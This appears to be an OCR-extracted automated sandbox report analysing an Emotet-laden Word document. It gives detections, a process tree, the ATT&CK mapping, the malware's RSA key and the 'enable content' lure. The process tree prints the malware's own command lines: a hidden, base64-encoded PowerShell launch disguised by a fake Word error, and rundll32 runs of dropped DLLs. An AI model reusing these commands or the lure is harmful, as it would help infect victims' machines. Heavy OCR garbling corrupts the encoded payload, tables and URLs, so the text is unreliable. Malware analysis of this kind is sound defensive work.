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Analysis Report info_2020_NJY_31940448.doc

Overview
General Information Detection Classification
Sample info_2020_NJY_31940448.

Name: doc Antivirus detection for URL or domain

Analysis ID: 339167 MALICIOUS Multi AV Scanner. detection for doma...

MDS: ©99693721af4330. Multi AV Scanner. detection for dropp...

SHA1L:

8d5141493dcoes.. Multi AV Scanner detection for subm...
SHA256: c081588672d7€4..

Office document tries to convince Vvi...
Most interesting Screenshot:

Snort IDS alert for network traffic (e....

System process connects to networ...

Yara detected Emotet

m Creates processes via WMI
100

Document contains an embedded VB...

Score:
Range: 0-100 Document contains an embedded VB...
Whitelisted:  false

Bils T Selel=] -~ e . Encrypted powershell cmdline option...
Confidence:  100%

w
«Q
>
2
(=
=
®
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Startup

= System is w7x64

. WINWORD.EXE (PID: 648 cmdline: 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding MD5: 95C38D04597050285A18F66039EDB456)

cmd.exe (PID: 2456 cmdline: cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P*Ow”er"she L L -w hidden -ENCOD
JAA2ADKAbBQBEAFQANWAJACAAPQAgAFSAJABSAFAARQBAJACgAIgB7ADEAfQB7ADMAIQB7ADAAfQB7ADIAfQAIACOAZgANAFIAJWASACCAUWANACWAIWBZACCALAANAFKAU
WBOAEUATQAUAEKATWAUAGQAaQBSAEUAYWBUAEBAIJWAPACAAOWAGACAAIAAKAHKAMQAWAEKAIAAgGADOAIABbAFQAeQBWAEUAXQAOACIAewA2AHOAewAzAHOAe
WAYAHOAewA3AHOAewAOAHOAewAXxAHOAewA1AHOAewA4AHOAeWAWAHOAIGAtAGY AIAANAGEARWBIAFIAJWASACCAJAAUACCALAANAEUAIJWASACCAWQBTAHQAJWASACCATgB
FACCALAANAHMARQBSAHYAaQBDACCALAANAHMAJIWASACCAbBQAUACCALAANAGUAUABVAGKAbgBOAGOAYQBUACCAKQA7ACQARQBYAHIAbwBYAEEAYWBOAGKAbwB
UAFAACgBIAGYAZQBYAGUAbgBJAGUAIAA9ACAAKAAOACCAUWBPACCAKWANAGWAZQBUAHQADBABSACCAKQArACgAIWBDAG8AIWArACCAbgANACKAKWANAHQAJIWA
rACgAJWBpAGA4AIWArACCAdQANACKAKWANAGUAIWApPADSAJABQAHKAMABIAGIAagBpADOAJABLADEAMgBPACAAKWAGAFSAYWB0OAGEAcgBdACgANgAOACKAIAA
rACAAJABQADYANQBaADsAJABYADKAMgBDADOAKAAOACCAVQANACSAIWBfADgAIWAPACSAIWBSACCAKQA7TACAAIAAKADYAOQBNAGQAJAA3ADOAOGAIAEMACgB
gAGUAYQBUAGAARQBKAEKAUgBFAEMAdABVAGAAUGBZACIAKAAKAEGATWBNAEUAIAArACAAKAAOACCAWGANACSAKAANAEOAIWATACCAUABZAGCAeQANACSAIWB
0ACCcAKQArACgAJwBsAHEAdABaACCAKWANAEOAIWAPACSAIWBQAEIAJWArACgAIWBAACCAKWANADUAagANACKAKWANAGYAJWArACgAIWBIAGBAWGBNACCAKWA
NAFAAIJWAPACKALQBSAGUACABSAGEAYWBFACgAWWBDAGQAY QBSAFOAOQAWACSAWWBDAGgAY QBSAFOANWA3ACSAWWBDAGgAY QBSAFOAOAAWACKALABbAEMAaAB
hAFIAXQAS5ADIAKQApADsAJABHADCANWBHADOAKAANAFgAOAANACSAIWAWAFAAIWAPADSAIAAKAHKAMQAWAEKAOgABACIAUWBIAEMAJQBYAEKAdABgAHKACAB
yYAEBAYABUAESAYABJAGBATAAIACAAPQAJACIAKAANAFQABAANACSAIWBZACCAKQArACCAMQAYACCAKQA7ACQASYAZADQASIAIACIAKAANAFOAMIANACSAIWA
4ACCcAKQArACcATgANACKAOWAKAFIAaQA2ADIAcWBVAGSAIAA9ACAAKAANAFIANAANACSAIWAZAEgAIWAPADSAJABUADKAXWBIADOAKAANAEgANQANACSAIWA4AEWAIWAPA
DsAJABCAGgAbgB3AGUAOQAYADOAJABIAESBATQBFACSAKAACACCATQBVACCAKWAOACCAUQBZAGCAIWArACCAeQANACKAKWAOACCAaABSAHEAdABNAGBAUQANA
CsAJWBCACCAKWANAHJAIWAPACSAKAANADUAagBmAGOAIWArACcAbwBNACCAKWANAGBAUQANACKAKQAUACIAcCgBJAEUAUABSAGAAQQBDAGUAIgGA0ACgAIJWBNA
G8AJWArACcAUQANACKALABbAFMAVABSAGKATgBHAFOAWWBDAEgAQQBYAFOAOQAYACKAKQArACQAUgBpADYAMgBzAG8AawArACgAKAANACAAIWArACCAZABSA
CcAKQArACcAbAANACKAOWAKAFCANQAWAFYAPQAOACCAWQANACSAKAANADCAOQANACSAIWBZACCAKQAPADSAJABPAGCAXWAOADMAXWBIADOAKAANAFOAIJWAIA
CgAJwWBIADIAWWBZzADOAJWArACcALWANACSAIJWAVAGEADABSACCAKQArACgAIWBJAGEAIJWArACCcAbgBUAGEAYgBpACCAKWANAHMADBQBIACCAKQArACgAIWBKACCAKWANAHM
ALgBJAGB8ABQANACSAIWAVACCAKQArACgAIWB1ACCAKWANAGAACgANACKAKWAOACCAY QBpAGQALQANACSAIWBIAGEACAAVAFOAIWArACCAWGANACKAKWAOACCADQANACSAJ
WA2AC8AIWArACcAQABIAGIAIWAPACSAKAANADIAWWANACSAIWBzACCAKQArACgAIWABACBALWBNACCAKWANAGKAIWATACCAY QBUACCAKQArACcAbgAnACsAK
AANAGEAJIWArACcAcwBWAHMAeQANACSAIWBJACCAKQArACcAaABpACCAKWAOACCAYWANACSAIWBZAHQAdQANACKAKWAOACCAZABPACCAKWANAGSBALYBJAG8AD
QANACKAKWAOACCALWANACSAIWBJAGCAaQAtACCAKQArACgAIWBIAGKAIWArACCcAbgAVAFAAIWArACCAUAAVAEAAIWATACCAXQANACKAKWAOACCAYgANACSAIWAYAFSACWA
B6ACCAKQArACCcALWAVACCAKWAOACCAaQBIAGAAZWANACSAIWBSAGKACWBOACCAKWANAGEAYgBJACAAIWArACCAYWANACKAKWAOACCAbWANACSAIWBIACBAIWAPACSAKAANA
GMAJWArACcAbwB3AC8AJWArACCcASgBIACBAQAANACSAIWBAAGIAMgBbAHMAOgAVACCAKQArACCALWBhACCAKWAOACCAYgANACsAIWBYAGKAbAANACKAKWAOA
CcAbABVAGYAJWArACcAdQANACKAKWAOACCACgBUAGKAdAANACSAIWBIACCAKQAIrACgAIWBYACCAKWANAGUALGBJACCAKQArACgAIWBVAGOALWBIACCAKWANAHAAaAANACS
AIWALACCAKWANAGAAYWBSAGUAeAAtAHcAeQANACSAIWBNACCAKQArACgAIWBXACCAKWANADQAIWArACcALWBhADCcAbgBCACCAKQArACcAZgANACSAKAANAGGACWANACSAJ
WAVACCAKQArACcAQAANACsAIJWBAACCAKWAOACCAYgAYACCAKWANAFSAIWAPACSAKAANAHMAIWATACCACWABACBAIWArACCALWBIAHQAIWArACcAawAnACsAIJWBpAGAAZAB
IAGQAIWAPACSAKAANAGUAawANACSAIWBOAGKAZgBsAGKAawAUAGMAJIWArACcAbwANACKAKWAOACCAbQAVAHAAYWANACSAIWBpAGUALQBZzACCAKWANAHAAIWA
pPACsAIWBIACCAKWAOACCAZQBKACBAIWArACCAVQAVAEAAXQBIADIAWWANACSAJWBzZAHMAJWAPACSAKAANADOALWAVAHY AcwBOACCAKWANAHMAJWArACCAY QA
NACKAKWANAGOACAANACSAKAANAGWAZ QANACSAIWAUAGMAbwBIACBAdwBWACOAIJWArACcAaQBUAGMADBAANACSAIWBIAGQAJIWAIACCAZQBzACCAKWANACBAIWA
rACcANwWBIAFgAIWAPACSAKAANAGUASQANACSAJWAVACCAKWANAEAAXQBIADIAWWANACKAKWANAHMAOQGANACSAIJWAVACBAIWArACgAIWBIAHOAaQANACSAIJWAtAHAAbWBZA
C4AYWANACsAIWBVAGOALWBJACCAKWANAGEAJABIAGCcAbwBYAHKAIJWArACCAbAANACSAIWAVAHGALWANACKAKQAUACIAcgBFAHAADABBAGAAYWBIACIAKAAOACCAXQANACS
AKAANAGIAIWArACcAMgBbAHMAJWAPACKALAAOAFSAYQBYAHIAY QBSAFOAKAANAHMAZAANACWAIWBZAHCAIWAPACWAKAANAGGAdAANACSAIWBOAHAAIWAPACW
AIWAZAGQAIWAPAFSAMQBAACKALGAIAFMAYABQAGWASQBUACIAKAAKAFIANGASAESAIAATACAAJABQAHKAMABIAGIAagBpACAAKWAACQAUQAZADMASQAPADS
AJABaADQANABTADOAKAAOACCARAA4ACCAKWANADCAIWAPACSAIWBPACCAKQA7AGYAbWBYAGUAY QBJAGIAIAAOACQAVQBIAHQACWBWAGUAaAAJAGKADgAGACQ
ATWBNAFBANAAZAF8AbQAPAHSAJABYAHKkAewAOACY AKAANAE4AAZQB3ACCAKWANACOATWBIACCAKWANAGOAZQBJAHQAIJWAPACAAUWB5AFMAJABFAGOALGBUAGU
AVAAUAHCAZQBCAEMADBABJAEUAbgBOACKALgAIAGQAYABPAFCATgBMAGBAYQBKAEYAaQBgAGWARQAIACJAJABVAGOAdABZAHAAZQBOACWAIAAKAEIAaABUAHC
AZQAS5ADIAKQA7ACQAWAA3ADAAQQAIACIAIWBPACCAKWAOACCANAANACSAIWAWAEGAIWAPACKAOWBIAGY AIAAOACYALgAOACCARWBIAHQALQBJACCAKWANAHQ
AZQANACSAIWBIACCAKQAGACQAQYBOAGAAAWBIADKAMAPACAAIgBSAGAAZQBUAGCAVABOACIAIAAAGCAZQAGADMANWA2ADUAMIAPACAAeWAMACGAIWBYAHU
AIWArACcAbgBKACCAKWANAGWAbAAZADIAIJWAPACAAIABCAGgAbgB3AGUAOQAYACWAKAANAEMAIWAIrACCcAbwBUACCAKWANAHQAIWArACgAIWBYAGBAJWAIACC
AbAANACSAIWBFAFIAAQBUACCAKQArACgAJWBEACCAKWANAEWATAANACKAKQAUACIAVABVAGAAUWBUAHIASQBQAE4AZWAIACgAKQA7ACQATQAOADCAVWAIACY
AIWBBADCAIWArACcAMQBKACCAKQA7AGIAcgBIAGEAawA7ACQARWALADIASgA9ACYAKAANAEMAIWAIACCAMgAWACCAKQArACCAQWANACKAFQBIAGMAYQBOAGM
AaAB7AHOAfQAKAEIAMWAZAFQAPQA0ACCAUQASACCAKWANADYAVAANACKA MD5: 5746BD7E255DD6A8AFA06F7C42C1BA4L)

e W] msg.exe (PID: 2496 cmdline: msg user /v Word experienced an error trying to open the file. MD5: 2214979661E779C3E3C33D4F14E6F3AC)
e 4 powershell.exe (PID: 2300 cmdline: POwersheLL -w hidden -ENCOD JAA2ADKAbQBEAFQANWAGACAAPQAgAFSAdABSAFAARQBAACgAIgB7ADEAfQB7ADMA
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fQB7ADAAFQB7ADIAfQAIACOAZGANAFIAJWASACCAUWANACWAIWBZACCALAANAFKAUWBOAEUATQAUAEKATWAUAGQAaQBSAEUAYWBUAESAJWAPACAAOWAGACAA
IAAKAHKAMQAWAEKAIAAgADOAIABbAFQAeQBWAEUAXQAOACIAewA2AHOAewAzAHOAeWAYAHOAeWA3AHOAeWAOAHOAeWAXAHOAeWALAHOAeWA4AHOAeWAWAHOA
IgAtAGYAIAANAGEARWBIAFIAIJWASACCAJAAUACCALAANAEUAIWASACCAWQBTAHQAIWASACCATYBFACCALAANAHMARQBSAHYAaQBDACCALAANAHMAJWASACCA
bQAUACCALAANAGUAUABVAGKAbgBOAGOAY QBUACCAKQA7ACQARQBYAHIAbwBYAEEAYWBOAGKAbWBUAFAACYBIAGYAZQBYAGUAbgBJAGUAIAASACAAKAAOACCA
UwBpACCAKWANAGWAZQBUAHQADAB5ACCAKQArACgAIWBDAGBAIWArACCAbgANACKAKWANAHQAIWAIACGAIWBPAGAAIWATACCAdQANACKAKWANAGUAIWAPADSA
JABQAHKAMABIAGIAagBpADOAJABLADEAMgBPACAAKWAGAFSAYWBOAGEACgBdACgANgAOACKAIAATACAAJABQADYANQBaADSAJABY ADKAMgBDADOAKAAOACCA
VQANACSAIWBfADgAIWAPACSAIWBSACCAKQA7ACAAIAAKADYAOQBNAGQAJAA3ADOAOGAIAEMACGBJAGUAY QBUAGAARQBKAEKAUgBFAEMAJABVAGAAUGBZACIA
KAAKAEgATWBNAEUAIAArACAAKAAOACCAWGANACSAKAANAEOAIWAIACCAUABZAGCAeQANACSAIWBOACCAKQATACgAIWBSAHEAdABaACCAKWANAEOAIWAPACSA
JWBQAEIAIWArACgAIWB4ACCAKWANADUAagANACKAKWANAGYAJWArACJAIWBIAGBAWYIBNACCAKWANAFAAIWAPACKALQBSAGUACABSAGEAYWBFACgAWWBDAGQA
YQBSAFOAOQAWACSAWWBDAGAY QBSAFOANWA3ACSAWWBDAGYAY QBSAFOAOAAWACKALABDAEMAaABhAFIAXQASADIAKQAPADSAJABHADCANWBHADOAKAANAFGA
OAANACSAIWAWAFAAIWAPADSAIAAKAHKAMQAWAEKAOGABACIAUWBIAEMAdQBYAEKAJABgAHKACABYAEBAYABUAEBAYABJAGBATAAIACAAPQAJACJAKAANAFQA
bAANACSAIWBzACCAKQArACCAMQAYACCAKQA7ACQASgAZADQASYAIACYAKAANAFOAMIANACSAIWALACCAKQATIACCATgANACKAOWAKAFIAaQA2ADIACWBVAGSA
IAASACAAKAANAFIANAANACSAIWAZAEgAIWAPADSAJABUADKAXWBIADOAKAANAEGANQANACSAIWALAAEWAIWAPADSAJABCAGYAbgB3AGUAOQAYADOAJABIAESA
TQBFACSAKAAOACCATQBVACCAKWAOACCAUQBZAGCAIWArACCAeQANACKAKWAOACCAaABSAHEAdABNAGBAUQANACSAIWBCACCAKWANAHGAIWAPACSAKAANADUA
agBmAGOAJWArACcAbwBNACCAKWANAGBAUQANACKAKQAUACIACgBJAEUAUABSAGAAQQBDAGUAIgAOACIAIWBNAGBAIWArACCAUQANACKALABbAFMAVABSAGKA
TgBHAFOAWWBDAEgAQQBYAFOAOQAYACKAKQArACQAUgBpADYAMgBzAGBAawArACgAKAANACAAIWAIACCAZABSACCAKQAIrACCADAANACKAOWAKAFCANQAWAFYA
PQA0ACCAWQANACSAKAANADCAOQANACSAIWBZACCAKQAPADSAIJABPAGCAXWAOADMAXWBIADOAKAANAFOAJWArACGAIWBIADIAWWBZADOAIWATACCALWANACSA
JWAVAGEADABSACCAKQATrACJAIWBJAGEAIWArACCAbgBUAGEAY gBpACCAKWANAHMADQBIACCAKQArACgAIWBKACCAKWANAHMALGBJAGBADQANACSAIWAVACCA
KQArACgAJwB1ACCAKWANAGA4ACgANACKAKWAOACCAY QBpAGQALQANACSAIWBIAGEACAAVAFOAIWATACCAWGANACKAKWAOACCADQANACSAIJWA2ACBAIWATACCA
QABJAGIAIWAPACSAKAANADIAWWANACSAIWBZACCAKQATACYAIWABACBALWBNACCAKWANAGKAIWATACCAY QBUACCAKQArACCAbgANACSAKAANAGEAJWATACCA
cwBWAHMAeQANACSAIJWBJACCAKQArACcAaABpACCAKWAOACCAYWANACSAIWBZAHQAAQANACKAKWAOACCAZABPACCAKWANAGBALYBJAGBADQANACKAKWAOACCA
LWANACSAIWBjAGCcAaQAtACCAKQAIrACgAIWBIAGKAIWAIACCAbgAVAFAAIJWArACCAUAAVAEAAIWATACCAXQANACKAKWAOACCAYgANACSAIJWAYAFSACWABACCA

KQArACcALWAVACCAKWAOACCAaQBIAG4AZWANACSAIWBSAGKACWBOACCAKWANAGEAYgBjAC4AIJWArACCAYWANACKAKWAOACCAbWANACSAIWBIACBAIJWAPACSA
KAANAGMAJIWArACCAbwB3ACBAIWArACCASYBIACBAQAANACSAIWBAAGIAMgBbAHMAOGAVACCAKQAIACCALWBhACCAKWAOACCAYgANACSAIWBYAGKADAANACKA
KwA0ACCcAbABVAGYAJWArACcAdQANACKAKWAOACCACgBUAGKAJAANACSAIWBIACCAKQArACgAIWBYACCAKWANAGUALGBJACCAKQArACgAIWBVAGOALWBIACCA
KwANAHAAaAANACSAIJWAIACCAKWANAG4AAYWBSAGUAeAAtAHcAeQANACSAIWBNACCAKQAIrACgAIWBXACCAKWANADQAIWArACCALWBhADCcAbgBCACCAKQAIrACCA
ZgAnACsAKAANAGgACWANACSAIWAVACCAKQATACCAQAANACSAIWBAACCAKWAOACCAYgAYACCAKWANAFSAIWAPACSAKAANAHMAJIWATIACCACWABACBAIWATACCA
LwWBIAHQAJWArACcAawAnACsAIWBpAG4AZABIAGQAIWAPACSAKAANAGUAawANnACsAIJWBOAGKAZgBsAGkAawAUAGMAIWArACcAbwANACKAKWAOACCAbDQAVAHAA
YWANACSAIJWBpAGUALQBzACCAKWANAHAAIWAPACSAIWBIACCAKWAOACCAZQBKACBAIWArACCAVQAVAEAAXQBIADIAWWANACSAIWBZAHMAJIWAPACSAKAANADOA
LWAVAHYACcWBOACCAKWANAHMAJIWArACCAY QANACKAKWANAGOACAANACSAKAANAGWAZQANACSAIWAUAGMAbWBIACBAdWBWACOAIWArACCAaQBUAGMADAANACSA
JWB1IAGQAJIWAIrACCAZQBZzACCAKWANACBAIWArACCANWBIAFgAIWAPACSAKAANAGUASQANACSAIWAVACCAKWANAEAAXQBIADIAWWANACKAKWANAHMAOQGANACSA
JwWAVACBAIWArACgAIWBIAHOAaQANACSAIWAtAHAAbwBZAC4AAYWANACSAIJWBVAGOALWBJACCAKWANAGEAJABIAGcAbwBYAHKAJWArACCADAANACSAIWAVAHQA
LWANACKAKQAUACIACgBFAHAABABBAGAAYWBIACIAKAAOACCAXQANACSAKAANAGIAIWArACCAMgBbAHMAJIWAPACKALAAOAFSAY QBYAHIAY QBSAFOAKAANAHMA
ZAANACWAIWBZAHCAIWAPACWAKAANAGGAdAANACSAIWBOAHAAIWAPACWAIWAZAGQAIWAPAFSAMQBAACKALJAIAFMAYABQAGWASQBUACIAKAAKAFIANGASAESA
IAArACAAJABQAHKAMABIAGIAagBpACAAKWAGACQAUQAZADMASQAPADSAIJABaADQANABTADOAKAAOACCARAA4ACCAKWANADCAIWAPACSAIWBPACCAKQATAGYA
bwByAGUAY QBJAGYAIAACACQAVQBGAHQACWBWAGUAaAAGAGKAbgAGACQATWBNAFBANAAZAFBADQAPAHSAdABYAHKAeWAOACYAKAANAE4AAZQB3ACCAKWANACOA
TWBIACCAKWANAGOAZQBjAHQAIWAPACAAUWB5AFMAJABFAGOALgBUAGUAVAAUAHCAZQBCAEMADABIAEUAbgBOACKALJAIAGQAYABPAFCATgBMAGBAYQBKAEYA
aQBgAGWARQAIACJAJABVAGOAdABZAHAAZQBOACWAIAAKAEIAaABUAHCAZQASADIAKQA7ACQAWAAIADAAQIAIACIAIWBPACCAKWAOACCANAANACSAIWAWAEGA
JWAPACKAOWBJIAGYAIAA0ACJALJAOACCARWBIAHQALQBIACCAKWANAHQAZQANACSAIWBIACCAKQAGACQAQYBOAGAAIWBIADKAMYAPACAAIgBSAGAAZQBUAGCA
VABOACIAIAAtAGCAZQAGADMANWA2ADUAMgAPACAAeWAMACGAIWBYAHUAIWArACCcAbgBKACCAKWANAGWADAAZADIAJWAPACAAJABCAGYAbgB3AGUAOQAYACWA
KAANAEMAJIWArACcAbwBUACCAKWANAHQAJIWAITACYAIWBYAGBAIWArACCADAANACSAIWBIAFIAdQBUACCAKQArACgAIWBEACCAKWANAEWATAANACKAKQAUACIA
VABVAGAAUWBUAHIASQBgYAE4AZWAIACgAKQA7ACQATQAOADCAVWAIACYAIWBBADCAIWATACCAMQBKACCAKQA7AGIACGBIAGEAawWA7ACQARWALADIASgA9ACGA
KAANAEMAIWArACCAMgAWACCAKQArACCAQWANACKATQBIAGMAY QBOAGMAaAB7AHOATQAKAEIAMWAZAFQAPQAOACCAUQASACCAKWANADYAVAANACKA MD5:
852D67A27E454BD389FA7F02A8CBE23F)
. D rundll32.exe (PID: 2548 cmdline: 'C:\Windows\system32\rundll32.exe' C:\Users\user\Ygyhlqt\Bx5jfmo\R43H.dIl Control_RunDLL MD5:
DD81D91FF3B0763C392422865C9AC12E)
. D rundll32.exe (PID: 2384 cmdline: 'C:\Windows\system32\rundll32.exe' C:\Users\user\Ygyhlqt\Bx5jfmo\R43H.dIl Control_RunDLL MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2800 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Slimgulabo\vhtbjtkrz.lpr',Control_RunDLL MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2792 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Bvjuzxolryfk\tucwdgbdtfe.wnx',Control_RunDLL MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2748 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Bsmdm\ghwk.vcj',Control_RunDLL MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 1980 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Anheubolw\yblyupae.she',Control_RunDLL MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2452 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Bwagczxvcucs\mfghcresmvg.yyb',Contro
|_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2836 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Vvkklg\owmtf.xpy',Control_RunDLL MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 3068 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Eqlmzzdzvxl\jxrtnvzirw.xix',Control_
RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 3060 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Qjhyis\vvyps.icm',Control_
RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
= cleanup

Malware Configuration

Threatname: Emotet

"RSA Public Key":
"MHwwDQYJKoZIhvcNAQEBBQADawAwaAJhAOZ9fL I8UrI00ZURpPsR3ei jAyfPj3z6\nuS75f21gmYFW2alWgNcFIzsAYQleKzDOn1CFHO07Zf8/4wY2UWOCI4dIEHNE/PH1z | n6uNk3pxjm7o4eCDyiJbz f+k0Azj10q54FQIDAQAB"
}

Yara Overview

Copyright null 2021 Page 6 of 48



Memory Dumps

Source

0000000E.00000002.2124437516.00000000001
61000.00000020.00000001.sdmp

00000005.00000002.2103844038.00000000003
F6000.00000004.00000001.sdmp

0000000F.00000002.2355747254.00000000001
D1000.00000020.00000001.sdmp

0000000D.00000002.2121698890.00000000001
90000.00000040.00000001.sdmp

0000000C.00000002.2117620078.00000000002
50000.00000040.00000001.sdmp

Unpacked PEs

Source

8.2.rundll32.exe.190000.0.raw.unpack
12.2.rundll32.exe.6a0000.1.unpack
9.2.rundll32.exe.150000.0.raw.unpack
8.2.rundll32.exe.260000.1.unpack

10.2.rundll32.exe.220000.0.raw.unpack

Sigma Overview

No Sigma rule has matched

Signature Overview

Rule

JoeSecurity_Emotet

Description

Yara detected
Emotet

PowerShell_Case_Anomal Detects

y

JoeSecurity_Emotet

JoeSecurity_Emotet

JoeSecurity_Emotet

obfuscated
PowerShell
hacktools

Yara detected
Emotet

Yara detected
Emotet

Yara detected
Emotet

Author

Joe Security

Florian Roth

Joe Security

Joe Security

Joe Security

Click to see the 15 entries

Rule

JoeSecurity_Emotet

JoeSecurity_Emotet

JoeSecurity_Emotet

JoeSecurity_Emotet

JoeSecurity_Emotet

Description

Yara detected
Emotet

Yara detected
Emotet

Yara detected
Emotet

Yara detected
Emotet

Yara detected
Emotet

Author

Joe Security

Joe Security

Joe Security

Joe Security

Joe Security

Click to see the 22 entries

@

AV Detection:

Click to jump to signature section

Antivirus detection for URL or domain
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for dropped file

Copyright null 2021

@ AV Detection
® Compliance
@ Spreading

@ Software Vulnerabilities

@ Networking

@ E-Banking Fraud

® System Summary

@ Data Obfuscation

@ Persistence and Installation Behavior

Strings

e 0x1f10:$s1: POwershelL

Strings

@ Hooking and other Techniques for Hiding and Protection

@ Malware Analysis System Evasion
® Anti Debugging

@ HIPS / PFW / Operating System Protection Evasion
@ Language, Device and Operating System Detection
@ Stealing of Sensitive Information
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Multi AV Scanner detection for submitted file

]‘

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

=

E-Banking Fraud:

Yara detected Emotet

]‘

System Summary:

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Data Obfuscation:

Persistence and Installation Behavior:

]

]‘

Hooking and other Techniques for Hiding and Protection:

HIPS | PFW | Operating System Protection Evasion:

=

System process connects to network (likely due to code injection or exploit)

Stealing of Sensitive Information:

=

Yara detected Emotet

Mitre Att&ck Matrix

Initial Privilege Credential Lateral Com
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration and (
Valid Windows Windows Windows Disable or Modify os System Time Remote Archive Exfiltration Over Other  Ingre
Accounts Management Service Service Tools Credential ~ Discovery Services Collected  Network Medium Trans
Instrumentation Dumping Data
Default Scripting Boot or Process Deobfuscate/Decode LSASS File and Directory Remote Data from  Exfiltration Over Encry
Accounts Logon Injection Files or Memory Discovery Desktop Removable Bluetooth Chan
Initialization Information Protocol Media
Scripts
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Initial
Access Execution
Domain Exploitation for Client
Accounts Execution
Local Command and
Accounts Scripting
Interpreter
Cloud PowerShell
Accounts
Replication  Launchd
Through
Removable
Media
External Scheduled Task
Remote
Services
Drive-by Command and
Compromise Scripting Interpreter
Exploit PowerShell
Public-
Facing
Application
Supply AppleScript
Chain
Compromise

Behavior Graph

Copyright null 2021

Persistence

Logon Script
(Windows)

Logon Script
(Mac)

Network
Logon Script

Rc.common

Startup
Items

Scheduled
Task/Job

At (Linux)

At
(Windows)

Privilege
Escalation

Logon Script
(Windows)

Logon Script
(Mac)
Network Logon

Script

Rc.common

Startup ltems

Scheduled
Task/Job

At (Linux)

At (Windows)

Defense Evasion

Scripting

Obfuscated Files or
Information

Software Packing

Masquerading

Virtualization/Sandbox
Evasion

Process

Injection

Hidden Files and
Directories

Rundii32 {Y

Credential
Access

Security
Account
Manager

NTDS

LSA
Secrets

Cached
Domain
Credentials

DCSync

Proc
Filesystem

letc/passwd
and
letc/shadow

Network
Sniffing

Discovery

System Information

Discovery

Security Software
Discovery
Virtualization/Sandbox

Evasion

Process Discovery

Remote System
Discovery

Network Service
Scanning

System Network
Connections
Discovery

Process Discovery

Lateral Com
Movement Collection Exfiltration and (
SMB/Windows Data from  Automated Exfiltration Non-
Admin Shares Network Appli
Shared Layel
Drive Proto
Distributed Input Scheduled Transfer Appli
Component Capture Layel
Object Model Proto
SSH Keylogging Data Transfer Size Fallb:
Limits Chan
VNC GUI Input  Exfiltration Over C2 Multit
Capture Channel Comt
Windows Web Portal Exfiltration Over Comi
Remote Capture Alternative Protocol Used
Management
Shared Credential Exfiltration Over Appli
Webroot API| Symmetric Encrypted Layel
Hooking Non-C2 Protocol
Software Data Exfiltration Over Web
Deployment  Staged Asymmetric Encrypted
Tools Non-C2 Protocol
Taint Shared  Local Data Exfiltration Over File T
Content Staging Unencrypted/Obfuscated Proto
Non-C2 Protocol
Hide Legend
Legend:
l:‘ Process
. Signature
. Created File
Il onsieinfo
ﬂ Is Dropped
H Is Windows Process

Y
*
"en

Number of created Files

5 B

Visual Basic

zz
3

ms
o=
o

)

Delphi

i
i
=

Java

.Net C# or VB.NET

C, C++ or other language
Is malicious

Internet

L@ 2 )

Number of created Registry Values
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Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Home Insert Page Layout

# Format Painter LI

Clipboard

info_2020_NJY_31940448 [Compatibility Mode] - Microsoft Word

References Mailings Review View

aaBbceDe AaBbced AaBb( AaBbC: AaBb( AaBbccl %

Paragraph

Styles

Change
Styles -

35 Replace
I3 select ~
Editing

1] Office 365 B2 Microsoft

THIS DOCUMENT IS PROTECTED.

Previewing is not available for protected documents.

You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source

info_2020_NJY_31940448.doc
info_2020_NJY_31940448.doc
info_2020_NJY_31940448.doc

Dropped Files

Copyright null 2021

Detection
65%
42%
79%

= (p) [R5 ol

Scanner
Virustotal
Metadefender

ReversingLabs

100% (=}

432 |
1437202

Label Link
Browse
Browse
Document-

Word.Trojan.Emotet
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https://www.virustotal.com/gui/file/c081588672d7e47686d25c4e55de905404749c4ab80a8ba47eb66ceb77c4bc3e/detection/f-c081588672d7e47686d25c4e55de905404749c4ab80a8ba47eb66ceb77c4bc3e-1610157634
https://www.metadefender.com/#!/results/file/bzIwMTIzMUZfQWZaRmNTYjdkVUpCbWdJb0E/regular/analysis

Source Detection Scanner Label Link

Unpacked PE Files

Source Detection Scanner Label Link Download

Domains

Source Detection Scanner Label Link
URLs

Source Detection Scanner Label Link
hitp://wellformedweb.org/CommentAPI/ 0% URL Reputation safe
hitp://wellformedweb.org/CommentAPI/ 0% URL Reputation safe
hitp://wellformedweb.org/CommentAPI/ 0% URL Reputation safe
hitp://wellformedweb.org/CommentAPI/ 0% URL Reputation safe

o= 0000000000000 v 1 |

hitp://www.iis.fhg.de/audioPA 0% URL Reputation safe
hitp://www.iis.fhg.de/audioPA 0% URL Reputation safe
hitp://www.iis.fhg.de/audioPA 0% URL Reputation safe
hitp://www.iis.fhg.de/audioPA 0% URL Reputation safe

[ e B 5 ) I =N
L - e ) ) IO

hitp://windowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation safe
hitp://windowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation safe
